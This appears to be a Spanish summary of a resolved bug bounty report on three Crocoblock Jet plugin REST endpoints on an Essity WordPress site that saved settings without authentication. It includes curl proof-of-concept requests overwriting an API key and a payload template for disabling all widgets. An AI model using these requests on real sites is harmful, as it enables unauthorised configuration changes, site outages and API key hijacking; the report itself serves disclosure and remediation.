Reports
MEDIA[AUTENTICACIÓN]#3839914

Essity: tres plugins Jet de Crocoblock permitían cambiar su configuración de WordPress sin iniciar sesión

Tres endpoints REST de plugins Crocoblock (JetElements, JetWooBuilder y JetWooProductGallery) en una web de Essity guardaban ajustes sin pedir autenticación: bastaba un POST para desactivar widgets o cambiar claves de API.

Resumen
Resumen en castellano de un reporte público, no una traducción literal. El código y los comandos se mantienen como en el original.

Resumen

En un sitio WordPress del programa de Essity había instalados tres plugins de Crocoblock de la familia Jet. Cada uno registra una ruta REST para guardar su configuración, y ninguna de ellas comprobaba quién hacía la petición: ni cookie de sesión, ni nonce X-WP-Nonce, ni permisos del usuario. Cualquiera podía mandar un POST y los pares clave-valor enviados acababan escritos en la tabla wp_options de WordPress.

Las rutas afectadas eran:

POST /wp-json/jet-elements-api/v1/plugin-settings
POST /wp-json/jet-woo-builder-api/v1/plugin-settings
POST /wp-json/jet-woo-product-gallery-api/v1/plugin-settings

El fallo encaja en la debilidad "Missing Authorization" (falta de autorización). Los ajustes más interesantes para un atacante se deducían del propio JavaScript del panel de administración (jet-elements-admin.js), que envía la configuración a esa misma ruta con jQuery.ajax y sin cabecera X-WP-Nonce:

  • avaliable_widgets (así, con la errata del plugin): un objeto {widget_slug: "true"/"false"} que decide qué widgets de JetElements están activos en todo el sitio.
  • api_key: la clave de Google Maps que usa el plugin.

El reporte se envió el 3 de julio de 2026 y se divulgó, ya resuelto, el 6 de julio de 2026.

Pasos de reproducción

  1. Comprobar que el endpoint procesa de verdad el cuerpo de la petición y no es una ruta vacía. Para ello se envía JSON mal formado, sin ninguna credencial:
curl -s "https://████████/wp-json/jet-elements-api/v1/plugin-settings" \
  -X POST \
  -H "Content-Type: application/json" \
  -d '{invalid json!!!'

El servidor responde con un 400 de error de análisis, lo que demuestra que lee y valida la entrada:

{"code":"rest_invalid_json","message":"Ha pasado un cuerpo JSON no válido.","data":{"status":400,"json_error_code":4,"json_error_message":"Syntax error"}}
  1. Enviar ahora datos válidos, de nuevo sin cookies, sin nonce y sin ningún tipo de autenticación:
curl -s "https://████████/wp-json/jet-elements-api/v1/plugin-settings" \
  -X POST \
  -d "api_key=TEST_FROM_POC_12345"

La respuesta es un 200 que confirma el guardado:

{"status":"success","message":"Settings have been saved"}
  1. Repetir la prueba con los otros dos plugins para confirmar que comparten el mismo patrón:
# JetWooBuilder
curl -s "https://████████/wp-json/jet-woo-builder-api/v1/plugin-settings" \
  -X POST -H "Content-Type: application/json" -d '{}'
# Response: {"status":"success","message":"Settings have been saved"}

# JetWooProductGallery
curl -s "https://████████/wp-json/jet-woo-product-gallery-api/v1/plugin-settings" \
  -X POST -H "Content-Type: application/json" -d '{}'
# Response: {"status":"success","message":"Settings have been saved"}
  1. Para desactivar los widgets, un atacante enviaría al primer endpoint un cuerpo como este, poniendo a false cada widget:
avaliable_widgets[jet-animated-text]=false&avaliable_widgets[jet-slider]=false&...

Impacto

  • Denegación de servicio visible: con todos los widgets de avaliable_widgets a false, cualquier página que use JetElements (sliders, carruseles, contadores, etc.) deja de mostrarse correctamente en todo el sitio.
  • Secuestro de la clave de API: sustituir api_key por una clave de Google Maps controlada por el atacante desvía hacia ella la facturación del servicio y le permite recoger los datos de las consultas de geolocalización. El investigador menciona también las claves de Mailchimp, del tiempo y de Instagram como ajustes modificables.
  • Corrupción de la configuración: se pueden escribir pares clave-valor arbitrarios en las opciones de los plugins, lo que puede provocar errores o comportamientos inesperados.

Remediación

El investigador propuso:

  1. Actualizar todos los plugins Jet de Crocoblock a su última versión.
  2. Registrar las rutas REST con un permission_callback que exija la capacidad manage_options.
  3. Verificar el nonce mediante la cabecera X-WP-Nonce.

El reporte figura como resuelto, pero no detalla cuál de estas medidas se aplicó.